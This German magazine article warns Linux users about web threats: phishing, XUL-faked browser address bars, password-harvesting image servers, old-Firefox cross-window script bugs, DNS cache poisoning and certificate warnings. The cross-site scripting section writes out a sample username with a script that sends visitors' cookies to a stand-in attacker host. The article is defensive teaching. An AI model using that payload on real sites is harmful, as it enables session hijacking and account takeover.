Sicherheitsfallen im Internet

“Linux ist sicher”: Mit diesem Satz halten sich viele Anwender des freien Betriebssystems Sorgen um die Sicherheit vom Hals. Doch wer im Internet die Vorsicht vergisst, tappt leicht in gefährliche Fallen – auch unter Linux.

Am Anfang steht bei Computer-Neulingen die Einschätzung: Das Internet ist anonym und sicher. Das Sicherheitsgefühl derer, die sich schon länger im Netz der Netze bewegen, ist dann durch zahlreiche “Schreckensmeldungen” schon leicht beschädigt. Dieser Artikel klärt über die wichtigsten Stolpersteine auf, die beim Surfen im Internet auch auf Linux-Anwender lauern. Dass er keinen Anspruch auf Vollständigkeit erhebt, liegt in der Natur der Sache: Oft sind es leider die Angreifer, die neue Sicherheitslücken zuerst finden.

Das Passwort im Netz

Sehr verbreitet sind Mails, die in fehlerhaftem Deutsch dazu auffordern, wegen einer Software-Wartung bei Bank XYZ auf einen Link zu klicken und zur Reaktivierung des Online-Bankings die Kontodaten und eine Transaktionsnummer einzugeben. Die Motivation ist leicht zu durchschauen: Wer diese Daten besitzt, kann sich von Ihrem Konto bedienen.

Man nennt den trickreichen Datenklau, der auf typische menschliche Verhaltensweisen (“wenn meine Bank schreibt, dann muss das wichtig sein”) baut, Phishing (von “to fish” und “password” = password fishing). Eine Liste bekannter Phishing-Attacken steht auf auf http://antiphishing.org [1] bereit. Ein verbreitetes Strickmuster der Angriffe ist, dem Empfänger per E-Mail mitzuteilen, dass “Daten zu bestätigen” seien, um einen Online-Dienst (eBay, Online-Banking) weiter nutzen zu können. Dabei handelt es sich um Passwörter, Kreditkartennummern oder ähnliche Daten, für die Betrüger eine leicht zu erratende Verwendung haben. Bei vielen Phishing-Mails

lautet der (angebliche!) Absender tatsächlich [Ihre Bank].de,
führt der Link in der Mail auf die Adresse [ihrebank].de statt [ihre-bank.de],
sind sowohl die E-Mail als auch die nachgestellte Webseite authentisch gestaltet.

Um Mail-Absender zu fälschen, genügt eine entsprechende Eintragung im Mailer. Domains, die noch nicht registriert sind, werden normalerweise ohne jegliche Prüfung vergeben. Davon abgesehen: In HTML-Mails muss ein Link mit dem sichtbaren Text http://www.sparkasse-xyz.de keineswegs zu der Adresse http://www.sparkasse-xyz.de führen. Der Link mailto:www.sparkasse-xyz.de@betrug.de führt übrigens auch nicht auf die Sparkassen-Seite, sondern auf http://betrug.de.

Firefox und Mozilla besitzen ein “Feature”, das Passwort-Fischern ein wirksames Werkzeug an die Hand gibt: Mozilla-basierte Browser generieren Ihre Benutzeroberfläche mit Hilfe von XUL, einer XML-basierten Sprache. Leider zeigen diese Browser auch in Webseiten eingebundene XUL-Elemente an – so dass Angreifer originalgetreu Anzeigeelemente der Browser wie eine Adressleiste oder Dialogfelder nachbauen können.

Eine Demonstation, wie sich XUL für Phishing-Angriffe nutzen ließe, steht unter [2] im Netz: Was immer sie in die nachgestellte Adressleiste eingeben, das Browserfenster zeigt weiterhin Google (Abbildung 1). Auch die Symbolleiste und Menüs sind Fakes und funktionieren nicht. Doch bis Ihnen das aufgefallen ist, ist es vielleicht schon zu spät.

Abbildung 1: Die Adressleiste im Bild ist per XUL nachgestellt; sie zeigt nicht die aktuelle Seitenadresse, sondern einen Text, den der Angreifer voreingestellt hat – der perfekte Weg, um gefälschte Seiten als das Original auszugeben.

Tipp

Keine seriöse Bank wird Sie je per E-Mail zur Eingaben von Passwörtern oder Transaktionsnummern auffordern. Kein seriöser Betreiber irgendeines Internet-Dienstes wird Sie je nach Ihrem Passwort fragen, schließlich stehen die Passwörter aller angemeldeten Nutzer in seiner Datenbank. Bei technischen Fehlern macht eine Bitte um Neuanmeldung Sinn, nicht die Frage nach dem Login-Daten!

Gefährliche Frage

Phishing legt es darauf an, den Benutzer zu täuschen, so dass er von sich aus Daten preisgibt. Doch es gibt auch technische Kniffe, um an vertrauliche Informationen zu gelangen: Sie bewegen sich als angemeldeter Benutzer in einem Forum. Unerwartet fragt Sie Ihr Browser nach Benutzername und Passwort (Abbildung 2). Geben Sie die gewünschten Informationen erneut ein, weil Sie von einem Fehler in der Forensoftware ausgehen? Dann hat von nun an möglicherweise ein Angreifer Zugang zu Ihrem Account.

Abbildung 2: Bei genauem Hinsehen fällt auf, dass hier etwas nicht stimmt: Die Domain, die das Passwort anfordert, ist nicht die Domain der angezeigten Seite.

Dieser XSA genannte Angriff funktioniert sehr einfach: Auf die Seite, bei deren Öffnen die Aufforderung zur Passworteingabe erfolgte, hat ein Angreifer einen Beitrag mit einem Bild gestellt, dessen URL auf einen eigenen Webserver verweist. Dieser fordert für die Anzeige des Bildes ein Passwort und ist so präpariert, dass er jede User/Passwort-Kombination akzeptiert, alle Eingaben jedoch speichert. Damit sammelt er die Login-Daten der User, die die präparierte Seite im Forum aufgerufen haben. Dass ein Passwort für einen Forumzugang in die Hände eines Angreifers gerät, mag noch zu verschmerzen sein. Weniger gut ist jedoch, wenn es sich dabei um das gleiche Passwort handelt, das Sie auch beim Online-Banking verwenden.

Code aus dem Internet

Per JavaScript lassen sich Formular-Werte auslesen (Abbildung 3) – auch aus Formularen in einem anderen Fenster. Da das Gefährdungspotential offensichtlich ist (es müssen nur die Online-Banking-Seite und die Seite eines Angreifers gleichzeitig offen sein, damit der Angreifer auf alle Ihre Eingaben Zugriff hat), schränkt JavaScript diesen fenster- oder frameübergreifende Zugriff ein: Er funktioniert nur, wenn beide Seiten/Frames von der gleichen Domain stammen.

Doch grau ist alle Theorie: Immerhin bis einschließlich Firefox 1.0 war diese wichtige Einschränkung nicht richtig implementiert. Zumindest aktuelle Konqueror- oder Opera-Versionen weisen diese Verwundbarkeit nicht auf. Folgendes Szenario wäre mit Firefox < 1.0 realisierbar: Ein Angreifer schickt per Mail einen präparierten Link. Dieser öffnet zwar Ihre Bank-Seite, im Hintergrund jedoch zusätzlich ein kleines Popup. Dieses nicht sichtbare Fenster kann dann alle Eingaben “mitschreiben” und dem Angreifer zusenden.

Abbildung 3: JavaScript kann Eingaben aus Formularfeldern auslesen – durch einen Bug teilweise auch über Domaingrenzen hinweg. So kann ein Angreifer die Daten an seine eigene Adresse verschicken.

Bedrohung JavaScript

Gehen Sie nie über Links aus zweifelharter Quelle (sprich: Mails; Internet-Seite, deren Seriosität nicht zweifelsfrei feststeht) auf Seiten, die sicherheitskritische Anwendungen bereitstellen. Über präparierte Links kann leicht bösartiger JavaScript-Code eingeschleust werden.
Verwenden Sie nur Bookmarks, die Sie selbst erstellt haben.
Starten Sie den Browser neu, um sicherzustellen, dass nicht fehlerhafterweise noch JavaScript-Code aus zuvor besuchten Seiten aktiv ist.

Die Hintertür

Webanwendungen wie Foren spielen Angreifern oft in die Hände: Häufig lässt sich über die Hintertüre für die Seitenbesucher gefährlicher JavaScript-Code einschleusen. So könnte ein Angreifer versuchen, sich mit dem Benutzernamen BoeserBube <script>(new Image).src="http://www.angreifer.de/spy.php?sniff=+document.cookie";</script>) anzumelden. Möglich, dass die Webanwendung den JavaScript-Anteil ausfiltert oder den Namen wegen seiner Länge zurückweist. Wenn jedoch nicht, so steht auf jeder Seite, auf der der Benutzername angezeigt wird, ein Skript-Code, der die Cookies der Seitenbesucher ausliest (document.cookie) und diese als Parameter (sniff=[...]) an http://www.angreifer.de übergibt. Sicherheits-Checks des Browsers können hier nichts ausrichten: Der JavaScript-Code steht auf der Seite, zu der die Cookies gehören. Aus Sicht des Browser ist der Zugriff auf die Cookies legitim. Die meisten Webanwendungen nutzen Cookies, um angemeldete Benutzer zu identifizieren (Abbildung 4). Wer Ihr Zugriff auf Ihr Session-Cookie hat, kann “in Ihrem Namen handeln”.

Abbildung 4: Webanwendungen nutzen Cookies, um verschiedene Benutzer auseinander zu halten. Gelangen diese Schlüsseldateien durch Cross-Site-Scripting in die Hände eine Angreifers, so kann dieser Ihre Identität annehmen kann.

Unfreiwillige Umleitung

Eine äußerst gefährliche Angriffstechnik ist seit einiger Zeit unter dem Namen “Pharming” bekannt. Hier machen sich Betrüger die Sicherheitsmängel des DNS-Systems zunutze: Der Browser muss die URL erst in eine IP-Adresse umsetzen, bevor er Kontakt zu einer Site aufnehmen kann. Dazu kontaktiert Ihr Rechner einen DNS-Server im Netz. DNS-Server arbeiten hierarchisch gestaffelt: Erster Anlaufpunkt ist ein DNS-Server, den Ihr Internet-Provider beim Aufbauen der Internetverbindung festlegt. Fordern Sie eine Seite an, die dieser DNS-Server nicht kennt, so schickt er seinerseits eine Anfrage an einen höherrangigen Server. Falls er jedoch die Adresse bereits im Cache gespeichert hat, führt er keine neue Anfrage aus. Ein Cache Poisoning genannter Angriff versucht, falsche Werte in diesen Cache einzuschleusen.

Gelingen kann dies, weil DNS-Anfragen gewöhnlich nicht über eine sichere Verbindung erfolgen. Die Konsequenz ist, dass alle Benutzer, die auf den kompromittierten DNS-Server zugreifen, zumindest für eine Weile, nach Eingabe von [ihrebank].de auf die Webseite des Angreifers gelangen. Allein ein über SSL/TSL gesicherte Verbindung kann dies verhindern.

SSL/TSL

Das HTTP-Protokoll überträgt Daten auf eine Weise, die keine Kontrolle über den Weg zulässt, den die Daten nehmen. So effizient und ausfallsicher diese Methode ist, bei der sich die Daten quasi selbst den schnellsten Weg suchen: Sie führt auch dazu, dass Sie den Rechnern, die am Transport Ihrer Daten beteiligt sind, nie vertrauen können. Sie müssen daher stets mit einer Man-in-the-middle-Attacke rechen, die Ihre Daten im Netz abhört oder sogar manipuliert. Für für die Übertragung sicherheitskritischer Daten wie Ihrer Kreditkartennummer ist deswegen eine verschlüsselte Verbindung über SSL/TSL ein absolutes Muss.

Abbildung 5: Zeigt Firefox diese unübersichtlich lange und schwach formulierte Warnung, so gilt: Abbrechen, wenn sensible Daten im Spiel sind.

SSL/TSL-Verbindungen setzen Zertifikate ein. In Zusammenhang mit diesem Begriff gibt es häufig Missverständnisse:

“Vertrauenswürdiges Zertifikat” bedeutet nicht, dass eine Prüfung stattgefunden hat, ob ein Seitenbetreiber im Einklang mit dem Gesetz agiert.
“Vertrauenswürdig” heißt: Das Zertifikat wurde von einer bekannten Zertifizierungsstelle herausgegeben. Ein Schlüssel auf dem Webserver garantiert in diesem Fall, dass Sie über https://beispiel.de mit dem Server http://beispiel.de Verbindung aufnehmen und nicht durch Tricks wie DNS-Attacken fehlgeleitet werden.

Ein Klick auf einen Link aus nicht vertrauenswürdiger Quelle wie einer E-Mail, unterläuft diese Sicherung: In der Adressleiste des Browsers steht dann ja nicht die richtige Adresse. Der Inhaber dieser “gefälschten” Adresse kann durchaus ein für seine Site gültiges Sicherheitzertifikat besitzen.

Ein weiter wichtige Einschränkung ist zu machen: SSL in Version 2.0 weist Sicherheitslücken auf. Deaktivieren Sie SSL 2.0 in Ihrem Browser (Abbildung 6). Sie können nun zwar nicht mehr auf auf veraltete Webserver, die nur SSL 2.0-Verbindungen anbieten, zugreifen. Doch da diese Verbindungen ein Risiko darstellen, sollte Sie dies nicht als Verlust werten.

Abbildung 6: SSL in Version 2.0 sollten Sie nicht nutzen – das Sicherheitsprotokoll weist selbst Sicherheitlücken auf.

Ein weiteres Problem ist, dass in der Praxis wegen Unachtsamkeit der Serverbetreiber allzu häufig vorkommende Zertifikatwarnungen dazu verführen, im entscheidenden Moment ohne Nachdenken auf OK zu klicken. Manchmal möchten Seitenbetreiber sogar suggerieren, eine Zertifikatwarnungen sei “normal” und instruieren ihre Nutzer, auf OK zu klicken. Dies soll schon bei Online-Banking-Seiten vorgekommen sein.

In Wirklichkeit gilt: Zeigt der Browser eine Zertifikatwarnungen (Abbildung 5), dann ist Ihre Sicherheit nicht garantiert. Alle Banken oder Online-Shops, denen Sie Ihr Geld oder persönliche Informationen anvertrauen, sollten sich zumindest dadurch als vertrauenswürdig ausweisen, dass sie es schaffen, eine funktionierende SSL/TSL-Verbindung bereitzustellen.

Glossar

XUL: Eine XML-basierte Sprache, mit deren Hilfe Mozilla-Basierte Browser Ihre Benutzeroberfläche generieren, erlaubt es, per Stylesheet Symbolleisten, Adressfelder und Dialogfelder, kurz alle Oberflächenelemente des Browsers, originalgetreu im aktuell eingestellten Theme wiederzugeben.
XSA: (Cross Site Authentication) Technik, mit der Login-Daten an einen feindlichen Server weitergeleitet werden. Der Angreifer suggeriert dabei dem Benutzer, dass die Seite, auf der er sich befindet, nach dem Passwort fragt.
Webanwendung: Interaktive “Webseite”, die auf Benutzereingaben reagiert. Das Spektrum reicht von einfachen Foren bis hin zu komplexer Fahrplansoftware.
DNS: (Domain Name System) Serverbasiertes System zur Umsetzung von Domainnamen (“google.de”) in IP-Adressen (“216.239.39.104”): Das Http-Protokoll kann mit den Domainnamen selbst nicht anfangen, sondern arbeitet mit den hierarchisch aufgebauten IP-Adressen.
Man-in-the-middle-Attacke: Abhören oder manipulieren einer Datenübertragung im Internet. Sie setzt einen Zugriff auf einen Router im Internet voraus. Wegen der dezentralen Organisation des Internets ist jedoch nie auszuschließen, dass Angreifer darüber verfügen.
SSL/TSL: (Secure Sockets Layer/Transport Layer Security) Verschlüsselungsprotokoll, das bei mit https:// beginnenden Internetadressen zum Einsatz kommt. TSL ist eine Weiterentwicklung von SSL. Die “sichere” Internetverknüpfung verhindert, dass sich Angreifer unbemerkt “dazwischen schalten” und den Datenfluss abhören oder manipulieren. Ebenso garantiert sie, dass Sie tatsächlich mit der Adresse verbunden sind, die in der Adressleiste des Browsers steht. Die Verantwortung dafür, dass diese stimmt und nicht durch einen Link aus unzuverlässiger Quelle “ähnlich lautet”, liegt bei Ihnen.